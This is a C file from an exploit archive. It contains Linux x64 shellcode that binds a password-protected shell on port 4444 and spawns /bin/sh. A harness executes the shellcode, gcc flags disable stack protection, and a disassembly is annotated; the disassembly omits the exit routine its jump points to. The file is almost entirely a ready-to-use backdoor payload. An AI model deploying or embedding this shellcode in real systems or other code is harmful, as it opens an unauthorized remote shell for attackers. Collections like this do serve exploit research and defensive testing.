exploit-db-mirror/shellcodes/linux/49472.c

/*
 Exploit Title: Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes)
 Author: Guillem Alminyana
 Date: 2021-01-18
 Platform: GNU Linux x64
 =====================================
 Compile:
   gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05\x50\x5f\x52\x52\x66\x68"
"\x11\x5c\x66\x6a\x02\x6a\x31\x58\x54\x5e\xb2\x10\x0f\x05\x6a\x32\x58\x6a\x02\x5e"
"\x0f\x05\x6a\x2b\x58\x48\x31\xf6\x99\x0f\x05\x50\x5f\x6a\x02\x5e\x6a\x21\x58\x0f"
"\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41"
"\x51\x48\x89\xe6\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8"
"\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1c\x48\x31\xc0\x50\x48\xbb"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5a\x57\x54\x5e\x6a\x3b\x58"
"\x0f\x05";

void main()
{
        printf("ShellCode Lenght: %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

/*
 ASM
   0:	6a 29                	push   0x29
   2:	58                   	pop    rax
   3:	6a 02                	push   0x2
   5:	5f                   	pop    rdi
   6:	6a 01                	push   0x1
   8:	5e                   	pop    rsi
   9:	48 31 d2             	xor    rdx,rdx
   c:	0f 05                	syscall
   e:	50                   	push   rax
   f:	5f                   	pop    rdi
  10:	52                   	push   rdx
  11:	52                   	push   rdx
  12:	66 68 11 5c          	pushw  0x5c11
  16:	66 6a 02             	pushw  0x2
  19:	6a 31                	push   0x31
  1b:	58                   	pop    rax
  1c:	54                   	push   rsp
  1d:	5e                   	pop    rsi
  1e:	b2 10                	mov    dl,0x10
  20:	0f 05                	syscall
  22:	6a 32                	push   0x32
  24:	58                   	pop    rax
  25:	6a 02                	push   0x2
  27:	5e                   	pop    rsi
  28:	0f 05                	syscall
  2a:	6a 2b                	push   0x2b
  2c:	58                   	pop    rax
  2d:	48 31 f6             	xor    rsi,rsi
  30:	99                   	cdq
  31:	0f 05                	syscall
  33:	50                   	push   rax
  34:	5f                   	pop    rdi
  35:	6a 02                	push   0x2
  37:	5e                   	pop    rsi
  38:	6a 21                	push   0x21
  3a:	58                   	pop    rax
  3b:	0f 05                	syscall
  3d:	48 ff ce             	dec    rsi
  40:	79 f6                	jns    38 <loop_1>
  42:	6a 01                	push   0x1
  44:	58                   	pop    rax
  45:	49 b9 50 61 73 73 77 	movabs r9,0x203a647773736150
  4c:	64 3a 20
  4f:	41 51                	push   r9
  51:	48 89 e6             	mov    rsi,rsp
  54:	6a 08                	push   0x8
  56:	5a                   	pop    rdx
  57:	0f 05                	syscall
  59:	48 31 c0             	xor    rax,rax
  5c:	48 83 c6 08          	add    rsi,0x8
  60:	0f 05                	syscall
  62:	48 b8 31 32 33 34 35 	movabs rax,0x3837363534333231
  69:	36 37 38
  6c:	56                   	push   rsi
  6d:	5f                   	pop    rdi
  6e:	48 af                	scas   rax,QWORD PTR es:[rdi]
  70:	75 1c                	jne    8e <exit_program>
  72:	48 31 c0             	xor    rax,rax
  75:	50                   	push   rax
  76:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  7d:	2f 73 68
  80:	53                   	push   rbx
  81:	54                   	push   rsp
  82:	5f                   	pop    rdi
  83:	50                   	push   rax
  84:	54                   	push   rsp
  85:	5a                   	pop    rdx
  86:	57                   	push   rdi
  87:	54                   	push   rsp
  88:	5e                   	pop    rsi
  89:	6a 3b                	push   0x3b
  8b:	58                   	pop    rax
  8c:	0f 05                	syscall

*/